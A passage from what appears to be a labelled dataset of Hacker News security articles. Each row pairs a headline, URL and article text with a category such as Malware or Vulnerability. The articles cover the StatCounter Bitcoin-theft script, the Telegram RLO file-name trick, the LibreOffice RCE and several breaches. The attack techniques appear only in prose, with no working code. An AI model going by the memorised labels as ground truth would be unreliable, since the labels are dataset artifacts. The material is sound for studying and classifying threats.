The researchers have shared their findings with Google and they has fixed this security hole last week.

",Vulnerability
StatCounter Analytics Code Hijacked to Steal Bitcoins from Cryptocurrency Users,https://thehackernews.com/2018/11/statcounter-cryptocurrency-cyberattack.html,"Late last week an unknown hacker or a group of hackers successfully targeted a cryptocurrency exchange with an aim to steal Bitcoins by compromising the web analytics service it was using.

ESET malware researcher Matthieu Faou this weekend spotted malicious JavaScript code on up to 700,000 websites that were bundled with the traffic tracking code from the leading web analytics platform StatCounter.

However, after analyzing the code, the researchers found that hackers managed to compromise StatCounter and successfully replaced its tracking script with malicious JavaScript code primarily designed to target customers of the Gate.io cryptocurrency exchange.

Like Google Analytics, StatCounter is also an old, but popular real-time web analytics platform reportedly being used by more than two million websites and generates stats on over 10 billion page views per month.

Here's How Hackers Tried to Steal Bitcoins from Crypto Exchange
Though the malicious code was also injected into other hundreds of thousands of websites using the StatCounter service, the script only gets activated when the URL or content of the webpage contained a specific Uniform Resource Identifier (URI): myaccount/withdraw/BTC.

The ""myaccount/withdraw/BTC"" URI is exclusively associated with a gate.io webpage that offers users to make Bitcoin withdrawals and transfers.

The malicious script was intended to replace the destination Bitcoin address of transfers with an address belonging to the hackers.

""The script automatically replaces the destination Bitcoin address with an address belonging to the attackers, for example, 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad,"" Faou explains in a report released Tuesday.

""The malicious server generates a new Bitcoin address each time a visitor loads the statconuter[.]com/c.php script. Thus, it is hard to see how many bitcoins have been transferred to the attackers,"" he adds.

""As a new Bitcoin address is generated each time the malicious script is sent to the victim, we were not able to see how many bitcoins the attackers have gathered.""
According to the researcher, the malicious script was added to the middle of the legitimate StatCounter's JavaScript, which typically makes the malicious code harder to detect via ""casual observation.""

Gate.io Removes StatCounter Following Security Breach

Attackers successfully breached StatCounter on November 3, and ESET notified the company on November 5 when it discovered the hack, which the security firm labeled as a ""supply chain"" attack because the malicious script has appeared on the service used by the target.

""Even if we do not know how many bitcoins have been stolen during this attack, it shows how far attackers go to target one specific website, in particular, a cryptocurrency exchange,"" the researcher says.

StatCounter removed the malicious script on November 6, several hours before the Gate.io cryptocurrency exchange platform stopped using the popular analytic service to prevent further damage.

Gate.io also claimed the company subsequently scanned its website with 56 antivirus products, and ""no one reported any suspicious behavior at that time.""

The exchange also reported that its ""users' funds are safe,"" but it did not reveal how many customers who performed transfers between November 3 and 6 had lost their funds, neither promised to reimburse those users.

Gate.io also urged its customers to maximize the security levels on their accounts by enabling two-factor authentication (2FA) and two-step login protection.

",Cyber_Attack
Hackers Exploit 'Telegram Messenger' Zero-Day Flaw to Spread Malware,https://thehackernews.com/2018/02/hackers-exploit-telegram-messenger-zero.html,"A zero-day vulnerability has been discovered in the desktop version for end-to-end encrypted Telegram messaging app that was being exploited in the wild in order to spread malware that mines cryptocurrencies such as Monero and ZCash.

The Telegram vulnerability was uncovered by security researcher Alexey Firsh from Kaspersky Lab last October and affects only the Windows client of Telegram messaging software.

The flaw has actively been exploited in the wild since at least March 2017 by attackers who tricked victims into downloading malicious software onto their PCs that used their CPU power to mine cryptocurrencies or serve as a backdoor for attackers to remotely control the affected machine, according to a blogpost on Securelist.

Here's How Telegram Vulnerability Works

The vulnerability resides in the way Telegram Windows client handles the RLO (right-to-left override) Unicode character (U+202E), which is used for coding languages that are written from right to left, like Arabic or Hebrew.

According to Kaspersky Lab, the malware creators used a hidden RLO Unicode character in the file name that reversed the order of the characters, thus renaming the file itself, and send it to Telegram users.

For example, when an attacker sends a file named ""photo_high_re*U+202E*gnp.js"" in a message to a Telegram user, the file's name rendered on the users' screen flipping the last part.

Therefore, the Telegram user will see an incoming PNG image file (as shown in the below image) instead of a JavaScript file, misleading into downloading malicious files disguised as the image.

""As a result, users downloaded hidden malware which was then installed on their computers,"" Kaspersky says in its press release published today.

Kaspersky Lab reported the vulnerability to Telegram and the company has since patched the vulnerability in its products, as the Russian security firm said: ""at the time of publication, the zero-day flaw has not since been observed in messenger's products.""

Hackers Used Telegram to Infect PCs with Cryptocurrency Miners
During the analysis, Kaspersky researchers found several scenarios of zero-day exploitation in the wild by threat actors. Primarily, the flaw was actively exploited to deliver cryptocurrency mining malware, which uses the victim's PC computing power to mine different types of cryptocurrency including Monero, Zcash, Fantomcoin, and others.

While analyzing the servers of malicious actors, the researchers also found archives containing a Telegram's local cache that had been stolen from victims.

In another case, cybercriminals successfully exploited the vulnerability to install a backdoor trojan that used the Telegram API as a command and control protocol, allowing hackers to gain remote access to the victim's computer.

""After installation, it started to operate in a silent mode, which allowed the threat actor to remain unnoticed in the network and execute different commands including the further installation of spyware tools,"" the firm added.

Firsh believes the zero-day vulnerability was exploited only by Russian cybercriminals, as ""all the exploitation cases that [the researchers] detected occurring in Russia,"" and a lot of artifacts pointed towards Russian cybercriminals.

The best way to protect yourself from such attacks is not to download or open files from unknown or untrusted sources.

The security firm also recommended users to avoid sharing any sensitive personal information in messaging apps and make sure to have a good antivirus software from reliable company installed on your systems.

",Cyber_Attack
Severe RCE Flaw Disclosed in Popular LibreOffice and OpenOffice Software,https://thehackernews.com/2019/02/hacking-libreoffice-openoffice.html,"It's 2019, and just opening an innocent looking office document file on your system can still allow hackers to compromise your computer.

No, I'm not talking about yet another vulnerability in Microsoft Office, but in two other most popular alternatives—LibreOffice and Apache OpenOffice—free, open source office software used by millions of Windows, MacOS and Linux users.

Security researcher Alex Inführ has discovered a severe remote code execution (RCE) vulnerability in these two open source office suites that could be triggered just by opening a maliciously-crafted ODT (OpenDocument Text) file.

The attack relies on exploiting a directory traversal flaw, identified as CVE-2018-16858, to automatically execute a specific python library bundled within the software using a hidden onmouseover event.

To exploit this vulnerability, Inführ created an ODT file with a white-colored hyperlink (so it can't be seen) that has an ""onmouseover"" event to trick victims into executing a locally available python file on their system when placing their mouse anywhere on the invisible hyperlink.

According to the researcher, the python file, named ""pydoc.py,"" that comes included with the LibreOffice's own Python interpreter accepts arbitrary commands in one of its parameters and execute them through the system's command line or console.

PoC Exploit and Video Demo Released

Inführ provided a proof-of-concept (PoC) video demonstration showing how he was able to trick the event into calling a specific function within a Python file, which eventually executed the researcher's payload through Windows command line (cmd) without showing any warning dialog to the user.
The researcher also released the PoC exploit code for the vulnerability and stressed that though he tested his exploit on Microsoft's Windows operating system, it should work on Linux, as well.

Inführ reported the vulnerability to LibreOffice and Apache OpenOffice on October 18 last year. While LibreOffice fixed the issue by the end of that month with the release of LibreOffice 6.0.7/6.1.3, OpenOffice still appears to be vulnerable.

In mid-November, RedHat assigned the path traversal vulnerability a CVE ID and told the researcher not to disclose the details or PoC of the bug until January 31, 2019.

Inführ made the details and PoC exploit code of the vulnerability public on February 1, even when Apache OpenOffice 4.1.6 (latest version at the time of writing) remains unpatched. However, he says his exploit code does not work on OpenOffice.

""Openoffice does not allow to pass parameters; therefore, my PoC does not work but the path traversal can [still] be abused to execute a python script from another location on the local file system,"" Inführ explains.

As a workaround until OpenOffice releases a security fix, users can remove or rename the pythonscript.py file in the installation folder to disable the support for python.

So, merely ditching Microsoft Office for open-source office suites would not help much to protect yourself from such attacks, unless you adopt basic security practices.

",Vulnerability
Patch now! Adobe releases Emergency Security Updates for Flash Player,https://thehackernews.com/2015/12/adobe-flash-security-update.html,"The Adobe Flash Player just said goodbye to the year with another bunch of vulnerability patches.

Adobe released an out-of-band security update on Monday to address Nineteen (19) vulnerabilities in its Flash Player, including one (CVE-2015-8651) that is being exploited in the wild.

All the programming loopholes could be abused to execute malicious code (here malicious Flash file on a web page) on victims' computers in order to hijack an unpatched PC or Mac entirely.

So, if you are running the Flash Player plugin on Windows, Mac OS X, Linux, or Chrome OS, it is time for you to upgrade your system as soon as possible before criminals start taking advantage of the bugs.

Here're the details of the Flash's 19 security vulnerabilities patched in the emergency APSB16-01 update posted Monday afternoon:
A Type Confusion Vulnerability that could lead to arbitrary code execution (CVE-2015-8644)
An Integer Overflow Vulnerability that also leads to code execution (CVE-2015-8651)
Use-After-Free() Vulnerabilities that could also lead to code execution
Memory Corruption Vulnerabilities that could also lead to code execution
The company did not provide many details about the attacks exploiting the Integer Overflow Vulnerability (CVE-2015-8651) discovered by Huawei, other than describing them as ""limited, targeted attacks.""

Upgrade your machines to the following patched versions of Flash Player:
Flash Player versions 20.0.0.267 and 18.0.0.324 for Windows and Mac users.
Flash Player version 20.0.0.267 for Google Chrome
Flash Player version 20.0.0.267 for Microsoft Edge and Internet Explorer 11 on Windows 10
Flash Player version 20.0.0.267 for IE 10 and 11 on Windows 8.x
Flash Player version 11.2.202.559 for Linux
You can also get the latest Flash Player versions from Adobe's website.

However, if you really want to get rid of these nasty bugs, you are advised to simply disable or completely uninstall Adobe Flash Player immediately.

Flash has plagued with several stability and security issues, which is why developers had hated the technology for years.

Moreover, this is the reason Adobe plans to kill Flash Player and re-brands it as Adobe Animate CC — Adobe's Premier Web animation tool for developing HTML5 content.

",Vulnerability
Fake WhatsApp On Google Play Store Downloaded By Over 1 Million Android Users,https://thehackernews.com/2017/11/fake-whatsapp-android.html,"Cybercriminals are known to take advantage of everything that's popular among people in order to spread malware, and Google's official Play Store has always proved no less than an excellent place for hackers to get their job done.

Yesterday some users spotted a fake version of the most popular WhatsApp messaging app for Android on the official Google Play Store that has already tricked more than one million users into downloading it.

Dubbed Update WhatsApp Messenger, came from an app developer who pretended to be the actual WhatsApp service with the developer title ""WhatsApp Inc.""—the same title the actual WhatsApp messenger uses on Google Play.

You might be wondering how the sneaky app developer was able to use the same title as the legitimate Facebook-owned maker of the messaging client—thanks to a Unicode character space.

The app maker added a Unicode character space after the actual WhatsApp Inc. name, which in computer code reads WhatsApp+Inc%C2%A0.

However, this hidden character space at the end of the WhatsApp Inc. would be easily invisible to an average Android user browsing Google Play Store, allowing this dodgy version of the app to masquerade as a product of WhatsApp Inc.

In other words, the titles used by the fake app maker and real WhatsApp service are different but appeared same to a user.

According to Redditors, who first spotted this fake app on Friday, the app was not a chat app; instead, it served Android users with advertisements to download other apps.

""I've also installed the app and decompiled it,"" one Redditor said. ""The app itself has minimal permissions (internet access) but it's basically an ad-loaded wrapper which has some code to download a second apk, also called 'whatsapp.apk.' The app also tries to hide by not having a title and having a blank icon.""

Google has now removed the fake WhatsApp Android app from its official Play Store, but this incident once again marked the tech giant's failure to spot the scam on its app platform—even for the program that had more than a million downloads.

It is an unfortunate truth that even after so many efforts by Google (even recently launched Bug Bounty Program), malicious apps continuously somehow managed to fool its Play Store's security mechanism and infect millions of Android users.

Google Play Store is still surrounded by hundreds of other fake and malicious apps that trick users into downloading and installing them and potentially infect their smartphones to carry out malicious things without their knowledge.

So, users are advised to be more vigilant while downloading apps not only from the third-party app store but also from official Play Store in order to protect themselves.

",Malware
"Hackers Infect 50,000 MS-SQL and PHPMyAdmin Servers with Rootkit Malware",https://thehackernews.com/2019/05/hacking-mysql-phpmyadmin.html,"Cyber Security researchers at Guardicore Labs today published a detailed report on a widespread cryptojacking campaign attacking Windows MS-SQL and PHPMyAdmin servers worldwide.

Dubbed Nansh0u, the malicious campaign is reportedly being carried out by an APT-style Chinese hacking group who has already infected nearly 50,000 servers and are installing a sophisticated kernel-mode rootkit on compromised systems to prevent the malware from being terminated.

The campaign, which dates back to February 26 but was first detected in early-April, has been found delivering 20 different payload versions hosted on various hosting providers.

The attack relies on the brute-forcing technique after finding publicly accessible Windows MS-SQL and PHPMyAdmin servers using a simple port scanner.

Upon successful login authentication with administrative privileges, attackers execute a sequence of MS-SQL commands on the compromised system to download malicious payload from a remote file server and run it with SYSTEM privileges.

In the background, the payload leverages a known privilege escalation vulnerability (CVE-2014-4113) to gain SYSTEM privileges on the compromised systems.

""Using this Windows privilege, the attacking exploit injects code into the Winlogon process. The injected code creates a new process which inherits Winlogon SYSTEM privileges, providing equivalent permissions as the prior version.""

The payload then installs a cryptocurrency mining malware on compromised servers to mine TurtleCoin cryptocurrency.

Besides this, the malware also protects its process from terminating using a digitally-signed kernel-mode rootkit for persistence.

""We found that the driver had a digital signature issued by the top Certificate Authority Verisign. The certificate – which is expired – bears the name of a fake Chinese company – Hangzhou Hootian Network Technology.""

Researchers have also released a complete list of IoCs (indicators of compromise) and a free PowerShell-based script that Windows administrators can use to check whether their systems are infected or not.

Since the attack relies on a weak username and password combinations for MS-SQL and PHPMyAdmin servers, admins are advised to always keep a strong, complex password for their accounts.
",Malware
Thunderstrike — Infecting Apple MacBooks with EFI Bootkit via Thunderbolt Ports,https://thehackernews.com/2015/01/thunderstrike-infecting-apple-macbooks.html,"A security researcher has discovered an easy way to infect Apple's Macintosh computers with an unusual kind of malware using its own Thunderbolt port.

The hack was presented by programming expert Trammell Hudson at the annual Chaos Computer Congress (30C3) in Hamburg Germany. He demonstrated that it is possible to rewrite the firmware of an Intel Thunderbolt Mac.

The hack, dubbed Thunderstrike, actually takes advantage of a years-old vulnerability in the Thunderbolt Option ROM that was first disclosed in 2012 but is yet to be patched. Thunderstrike can infect the Apple Extensible Firmware Interface (EFI) by allocating a malicious code into the boot ROM of an Apple computer through infected Thunderbolt devices.

The hack is really dangerous as, according to the researcher, there is no means for the user to detect the hack, or remove it even by re-installation of the complete OS X, only because the malicious code actually is in the system's own separate ROM.
""Since the boot ROM is independent of the operating system, reinstallation of OS X will not remove it. Nor does it depend on anything stored on the disk, so replacing the hard drive has no effect. A hardware in-system-programming device is the only way to restore the stock firmware.""
Hudson also showed that he could replace Apple's own cryptographic key with a new one, which will prevent legitimate firmware updates from being accepted.
""There are neither hardware nor software cryptographic checks at boot time of firmware validity, so once the malicious code has been flashed to the ROM, it controls the system from the very first instruction,"" Trammell Hudson said. ""It could use SMM and other techniques to hide from attempts to detect it.""
In addition to writing a custom code to the boot ROM, Hudson's presentation also notes a method by which the bootkit could replicate itself to any attached Thunderbolt device, giving it the ability to spread across even air-gapped networks.

In short, an attacker could use the vulnerable Thunderbolt port to install a custom bootkit, which could even replicate itself to any other Thunderbolt-attached device, thereby spreading all over across the networks.

You can watch the entire presentation given by Hudson below and can also refer this blog post to know more about Thunderstrike.

As far as Hudson knows, there are no Mac firmware bootkits in the wild and at this time, it exists only as a proof-of-concept. So, we can presume that the vulnerability can only be exploited if the attacker has physical access to the Thunderbolt Mac. Therefore, a regular Mac user need not to worry about the hack.

Apple has already patched part of the vulnerability in the latest Mac mini and on the iMac with 5K Retina Display, which will soon be available for other Macs.

",Malware
Over 1000 Wendy's Restaurants Hit by Credit Card Hackers,https://thehackernews.com/2016/07/over-1000-wendys-restaurants-hit-by.html,"The Popular fast-food restaurant chain Wendy's on Thursday admitted that a massive cyber attack had hit more than 1,000 of its restaurants across the country.

The burger chain did not speculate how many people may have been affected, though it did confirm that the hackers were able to steal its customers' credit and debit card information.

The data breach is more than three times bigger than initially thought.

The original data breach was believed to have affected ""fewer than 300"" of its 5,144 franchised locations in the United States when the malware was discovered in May.

The Malware had been installed on Point-of-Sale (PoS) systems in the affected restaurants and was able to obtain cardholder's name, payment card number, expiration date, service code, cardholder verification value, among other data.
The data breach began in fall 2015 and discovered in February this year, and the company went public with in May.

Just last month, Wendy's said the company learned of a second malware variant that had infected its systems and disabled it from all locations.

The company is now offering one year of ""complimentary"" fraud protection services to affected customers.

Wendy's has blamed a third-party for the cyber attack, saying a ""service provider"" had its remote access credentials compromised that allowed attackers to deploy malware remotely to some franchisees' POS systems.

Once identified, the US burger chain found a method of disabling the malware and has done so at all affected locations. Customers can see the list of affected locations through Wendy's website.

So, if you have used your debit or credit card at Wendy's restaurant early this year, you are advised to keep a close eye on your bank account statements.

",Cyber_Attack
Experts Uncover 'Crutch' Russian Malware Used in APT Attacks for 5 Years,https://thehackernews.com/2020/12/experts-uncover-crutch-russian-malware.html,"Cybersecurity researchers today took the wraps off a previously undocumented backdoor and document stealer that has been deployed against specific targets from 2015 to early 2020.
Codenamed ""Crutch"" by ESET researchers, the malware has been attributed to Turla (aka Venomous Bear or Snake), a Russia-based advanced hacker group known for its extensive attacks against governments, embassies, and military organizations through various watering hole and spear-phishing campaigns.
""These tools were designed to exfiltrate sensitive documents and other files to Dropbox accounts controlled by Turla operators,"" the cybersecurity firm said in an analysis shared with The Hacker News.
The backdoor implants were secretly installed on several machines belonging to the Ministry of Foreign Affairs in an unnamed country of the European Union.
Besides identifying strong links between a Crutch sample from 2016 and Turla's yet another second-stage backdoor called Gazer, the latest malware in their diverse toolset points to the group's continued focus on espionage and reconnaissance against high-profile targets.
Crutch is delivered either via the Skipper suite, a first-stage implant previously attributed to Turla, or a post-exploitation agent called PowerShell Empire, with two different versions of the malware spotted before and after mid-2019.
While the former included a backdoor that communicates with a hardcoded Dropbox account using the official HTTP API to receive commands and upload the results, the newer variant (""Crutch v4"") eschews the setup for a new feature that can automatically upload the files found on local and removable drives to Dropbox by using the Windows Wget utility.
""The sophistication of the attacks and technical details of the discovery further strengthen the perception that the Turla group has considerable resources to operate such a large and diverse arsenal,"" said ESET researcher Matthieu Faou.
""Furthermore, Crutch is able to bypass some security layers by abusing legitimate infrastructure — here, Dropbox – in order to blend into normal network traffic while exfiltrating stolen documents and receiving commands from its operators.""

",Malware
Microsoft Releases 4 Security Updates — Smallest Patch Tuesday Ever!,https://thehackernews.com/2017/01/microsoft-security-patch.html,"In Brief
Microsoft has issued its first Patch Tuesday for 2017, and it's one of the smallest ever monthly patch releases for the company, with only four security updates to address vulnerabilities in its Windows operating system as well as Adobe Flash Player.

Meanwhile, Adobe has also released patches for more than three dozen security vulnerabilities in its Flash Player and Acrobat/Reader for Windows, MacOS, and Linux desktops.

According to the Microsoft Advisory, only one security bulletin is rated critical, while other three are important. The bulletins address security vulnerabilities in Microsoft's Windows, Windows Server, Office, Edge and Flash Player.

The only security bulletin rated as critical is the one dedicated to Adobe Flash Player, for which Microsoft distributed security patches through Windows Update. Other security bulletins that addresses flaws in Microsoft products are as follows:

Bulletin 1 — MS17-001
This security update resolves just one vulnerability in the Microsoft Edge browser. Microsoft rates this bulletin as important.

The vulnerability (CVE-2017-0002) could let an attacker gain elevated access privileges by tricking users to view a specially crafted web page using Microsoft Edge.

This elevation of privilege flaw exists in Microsoft Edge's cross-domain policies, which could allow ""an attacker to access information from one domain and inject it into another domain,"" Microsoft says.

The update will be rolled out to Windows 10 and Server 2016.

Bulletin 2 — MS17-002
This security bulletin is the one that also patches a single vulnerability in Microsoft Office.

The vulnerability, designated CVE-2017-0003, is a memory corruption issue that allows an attacker to perform remote code execution (RCE) in Microsoft Office 2016 and SharePoint Enterprise Server 2016.

The flaw lets a specially crafted Word file to take control of the target machine with the current user's access privileges.

Users who are logged in with fewer user rights on the system are less impacted than users who operate with administrative user rights, such as some home accounts and server users.
Bulletin 3 — MS17-003
This security bulletin is rated as Critical and resolves 12 security vulnerabilities in Adobe Flash Player for all supported editions of Windows 8.1, Windows Server 2012, Windows Server 2012 R2, Windows RT 8.1, Windows 10, and Windows Server 2016.

The security patch will be automatically rolled out to Windows users running Microsoft Edge or Internet Explorer 11.

Bulletin 4 — MS17-004

This security update, also rated as important, addresses just one denial of service (DoS) vulnerability in Local Security Authority Subsystem Service (LSASS) for Windows Vista, Windows 7, Windows Server 2008, and Windows Server 2008 R2.

The flaw (CVE-2017-0004) resides in the LSASS that handles authentication requests, which could be exploited to reboot the system by sending a specially crafted authentication request to the targeted system or server.
Adobe Security Patch Update

A total of 13 vulnerabilities has been addressed in the Flash Player, while none of the flaws have actively been exploited in the wild.

The Flash Player updates for both Windows and macOS systems have been rated critical, as successful exploitation of the vulnerability could let an attacker perform remote code execution on the target system. However, Linux users are at lower risk for attack.

The update for Adobe Acrobat and Reader addresses some 29 flaws, including some remote code execution (RCE) vulnerabilities in both Windows and macOS.

Users and IT administrators are strongly recommended to apply Windows and Adobe patches as soon as possible in order to keep away hackers and cybercriminals from taking control over your computer.

A system reboot is necessary for installing updates, so users are advised to save work on PCs where the whole package of patches is deployed before initiating the process.

",Vulnerability
Capital One Fined $80 Million for 2019 Data Breach Affecting 106 Million Users,https://thehackernews.com/2020/08/capital-one-data-breach.html,"A United States regulator has fined the credit card provider Capital One Financial Corp with $80 million over last year's data breach that exposed the personal information of more than 100 million credit card applicants of Americans.

The fine was imposed by the Office of the Comptroller of the Currency (OCC), an independent bureau within the United States Department of the Treasury that governs the execution of laws relating to national banks.

According to a press release published by the OCC on Thursday, Capital One failed to establish appropriate risk management before migrating its IT operations to a public cloud-based service, which included appropriate design and implementation of certain network security controls, adequate data loss prevention controls, and effective dispositioning of alerts.

The OCC also said that the credit card provider also left numerous weaknesses in its cloud-based data storage in an internal audit in 2015 as well as failed to patch security vulnerabilities, violating the ""Interagency Guidelines Establishing Information Security Standards,"" that all US banks must comply with.

These unsafe and poor security practices resulted in a massive data breach last year when a single hacker was able to steal credit card information of over 106 million Capital One customers.


Besides credit card information, the hacker also managed to steal approx 140,000 Social Security numbers and 80,000 bank account numbers linked to US customers, and 1 million Canadian Social Insurance numbers.

The hacker, identified as former Amazon web services employee Paige Thompson a.k.a erratic, 33, was arrested following the breach and charged with computer fraud and abuse, which carries up to five years in prison and a $250,000 fine.

The breach occurred after Thompson allegedly exploited a misconfigured firewall on Capital One's Amazon Web Services cloud server in March and unauthorizedly stole more than 700 folders of data stored on that server.

In addition to the civil money penalty of 80 million dollars, the OCC also ordered Capital One Finance to enhance its cybersecurity security defenses and submit a plan to the OCC within 90 days outlining how it intends to do so.
",Vulnerability
Website Backdoor Scripts Leverage the Pastebin Service,https://thehackernews.com/2015/01/pastebin-wordpress-website-hacking.html,"The popular copy and paste website 'Pastebin' created a decade ago for software developers and even by hackers groups to share source code, dumps and stolen data, has more recently been leveraged by cyber criminals to target millions of users.

Compromising a website and then hosting malware on it has become an old tactic for hackers, and now they are trying their hands in compromising vast majority of users in a single stroke. Researchers have discovered that hackers are now using Pastebin to spread malicious backdoor code.

According to a blog post published yesterday by a senior malware researcher at Sucuri, Denis Sinegubko, the hackers are leveraging the weakness in older versions of the RevSlider, a popular and a premium WordPress plugin. The plugin comes packaged and bundled into the websites' themes in such a way that many website owners don't even know they have it.

In order to exploit the vulnerability, first hackers look for a RevSlider plugin in the target website and once discovered, they use a second vulnerability in Revslider and attempt to upload a malicious backdoor to the website.
""Technically, the criminals used Pastebin for what it was built for – to share code snippets,"" Sinegubko wrote in a blog post. ""The only catch is that the code is malicious, and it is used in illegal activity (hacking) directly off of the Pastebin website.""
Security researchers came across a segment of code that injects the content of a Base64-encoded $temp variable into a WordPress core wp-links-opml.php file. Researchers noticed some code is being downloaded from the legitimate Pastebin.com website and is dependent on using a parameter, wp_nonce_once, that disguises the fact that it calls upon an actual Pastebin file.

The wp_nonce_once parameter, which is commonly used to protect against unexpected or duplicate requests, also makes the malicious code difficult to block, and at the same time ""adds flexibility to the backdoor,"" the researcher claims.

This means that the malicious backdoor can be tricked to download and execute any code snippet hosted on Pastebin — even those that don't exist at the time of injection — you just need to pass a request through that wp-links-opml.php file.

So far, it's unclear exactly how widespread this malicious backdoor is, but the impact could be much dangerous when it comes to Pastebin which has 1.5 million active user accounts as of last year.

Founded in 2002, Pastebin was initially developed as an open online forum where computer developers could share programming code. But the site's gradual appeal to hackers of all ranks made it increasingly difficult to monitor the site for bad behavior. Many hacker groups share data stolen from famous companies via the service and some pastes are also known to be used in malware attacks, which may contain encrypted addresses and even base64-encoded malicious binary code.

Last month security researchers at Sucuri discovered a new type of malware threat, dubbed SoakSoak, that was modifying files in WordPress websites that used an older version of ""Slider Revolution,"" aka RevSlider, a slideshow plugin. At the time, the search engine giant Google blacklisted over 11,000 websites it spotted spreading the malware.

",Malware
MongoDB 4.2 Introduces End-to-End Field Level Encryption for Databases,https://thehackernews.com/2019/06/mongodb-fle-data-encryption.html,"At its developer conference held earlier this week in New York, the MongoDB team announced the latest version of its database management software that includes a variety of advanced features, including Field Level Encryption, Distributed Transactions, and Wildcard Indexes.

The newly introduced Field Level Encryption (FLE), which will be available in the upcoming MongoDB 4.2 release, is an end-to-end encryption feature that encrypts and decrypts sensitive users' data on the client-side, preventing hackers from accessing plaintext data even if the database instance left exposed online or the server itself gets compromised.

Almost every website, app, and service on the Internet today usually encrypt (particularly ""hashing"") only users' passwords before storing them into the databases, but unfortunately left other sensitive information unencrypted, including users' online activity data and their personal information.

Moreover, even if there is an encryption mechanism to store data securely on the server, the private keys to unlock it and decryption operation also remain available on the server, which if get compromised, can be used by hackers to decrypt the data.


""With the rigor required by compliance to modern legal requirements, there comes the new need to ingest, query and store encrypted data securely in the database without the database having the ability to read it,"" the company says.

In other words, the cloud providers or administrators who have access to the database server itself can also access users' data—unencrypted or even server-side encrypted—without requiring any privilege from the clients.

MongoDB's Client-Side Field Level Encryption

However, MongoDB's new field-level encryption allows websites to solve this issue quickly as it does not involve performing cryptographic operations or storing encryption keys on the server.

Instead, FLE is a transparent client-side mechanism that relies on the MongoDB client library to act as a driver and handles the encryption and decryption operations on the users' devices to protect specific fields in a document against everyone except the user.
That means a specific chunk of encrypted data stored on an application's server can only be decrypted and accessed on the client-side using the right key/password which only belongs to the user.

""With this option, the server has no knowledge of the fields being encrypted. All the encryption and decryption is done at the driver level,"" the company said.

""It's the driver that when it sees an encrypted field is involved in a write or query command, gets appropriate keys from the key manager, encrypts the data, and sends it to the server.""

""The server then only sees ciphertext and has no knowledge of the keys. When results are returned from the server, that ciphertext is sent by the server to the driver, and it's there that the driver, which already has the keys, decrypts it.""


For now, MongoDB is only compatible with the AWS Key Management Service (KMS) service to make it easier for users to create and manage their keys to control the use of encryption across a service.

However, the company will soon make it compatible with Microsoft Azure Key Vault and Google Cloud services as well.

It should also be noted that MongoDB's field-level encryption doesn't prevent a data breach, but blocks hackers from accessing the sensitive data in plaintext when it is stolen, thus mitigating the risk.

In worst case scenarios, attackers can access limited data of only those targeted users whose systems somehow get compromised and leak the encryption key to the attackers.

",Data_Breaches
Android Video Malware found in Japanese Google Play Store,https://thehackernews.com/2012/04/android-video-malware-found-in-japanese.html,"Android Video Malware found in Japanese Google Play Store

A new Trojan has been found, and removed, from the Google Play/Android Market, McAfee reported on Friday afternoon. The post says applications carrying the Trojan promise, and in some cases deliver, trailers for upcoming video games or anime or adult-oriented clips, but they also request ""read contact data"" and ""read phone state and identity"" permissions before being downloaded.

McAfee Mobile Security detects these threats as Android/DougaLeaker.A, the company said.McAfee said that the fifteen malicious applications of this sort had been found on Google Play, and that all had been removed from the market.

The app gathers the Android ID not the IMEI code that can uniquely identify the device, but the 64-bit number that is randomly generated on the device's first boot and remains with it for the life of the device. The app also harvests the phone's phone number and contact list, along with every name, phone number, and email of every person in the contact list.

The apps had been downloaded by at least 70,000 users, it added. McAfee says its Mobile Security product detects the threats as Android/DougaLeaker.A, and that Google Play users should check to be sure apps aren't requesting inappropriate permissions.

",Malware
Rogue TrendMicro Employee Sold Customer Data to Tech Support Scammers,https://thehackernews.com/2019/11/insider-threat-data-breach.html,"Do you always uncomfortable trusting companies with your data? If so, you're not alone.

While companies do much to protect themselves from external threats, insiders always pose the highest risk to a company's data.

Unfortunately, when we say companies can't eliminate insider threat completely, cybersecurity firms, who are meant to protect others, are not an exception.

Cybersecurity firm Trend Micro has disclosed a security incident this week carried out by an employee who improperly accessed the personal data of thousands of its customers with a ""clear criminal intent"" and then sold it to a malicious third-party tech support scammers earlier this year.

According to the security company, an estimated number of customers affected by the breach is 68,000, which is less than one percent of the company's 12 million customer base.

Trend Micro first became aware of the incident in early August 2019 when it found that some of its consumer customers were receiving scam calls by criminals impersonating its support employee, which initially led the company to suspect a coordinated attack.

However, a thorough investigation of at least two months into the matter revealed that the incident was not due to an external hack of its systems, rather an insider, who gained access to one of the Trend Micro's customer support databases.

""[It was] the work of a malicious internal source that engaged in a premeditated infiltration scheme to bypass our sophisticated controls,"" the company said in a blog post published Tuesday.

The stolen database contained Trend Micro consumer customers' names, email addresses, Trend Micro support ticket numbers, and in some instances, phone numbers.

According to the company, the rogue employee did not appear to have stolen any financial or credit card information, and no Trend Micro's business or government customers were affected by the breach.

The investigation also revealed that the rogue employee then sold this information to a ""currently unknown"" malicious third-party, which resulted in some of its customers receiving scam calls from people impersonating Trend Micro employees.

Though the identity of the rogue employee is still not disclosed, Trend Micro said that it disabled the employee's account and fired the culprit and that it notified law enforcement and is working with them.

As a result, the company is now warning its customers of fake calls, saying that its customer-support staff never calls people ""unexpectedly"" even if they have purchased its consumer product.

""If a support call is to be made, it will be scheduled in advance,"" the company said. "". If you receive an unexpected phone call claiming to be from Trend Micro, hang up and report the incident to Trend Micro support using our official contact details.""

A separate data breach incident The Hacker News published today also caused due to an insider threat, where two former Twitter employees have been charged with accessing information on thousands of Twitter user accounts on behalf of the Saudi Arabian government.
",Data_Breaches
Pro PoS — This Stealthy Point-of-Sale Malware Could Steal Your Christmas,https://thehackernews.com/2015/12/point-of-sale-system-malware.html,"The point of Sale systems are the most tempting target for cyber crooks to steal your credit card information and with this Christmas, you need to be more careful while using your credit cards at retailers and grocery stores.

Here's why…

Cyber criminals are now selling a new powerful strain of Point of Sale (PoS) malware through underground forums.

Like several POS malware families discovered last year, including vSkimmer and BlackPOS, the new malware is also designed to steal payment card data from the infected POS systems and support TOR to hide its C&C (Command and Control) servers.

Pro PoS – Light Weight, Yet Powerful Malware

However, the new malware, dubbed ""Pro PoS,"" packs more than just a PoS malware.

Pro PoS weighs only 76KB, implements rootkit functionalities, as well as mechanisms to avoid antivirus detection, according to threat intelligence firm InfoArmor.

What's even more interesting about this malware is…

Pro PoS integrates a polymorphic engine that lets the threat generate a different signature for each malware sample – a measure designed to foil security defences.

InfoArmor warned that cyber crooks were actively using the current version of Pro PoS Solution in an effort to target PoS systems used by large retailers and SMBs in the United States and Canada specifically.

Pro PoS Malware found in the Wild

The developers of the Pro PoS malware are believed to be hackers from Eastern Europe, according to the security firm.

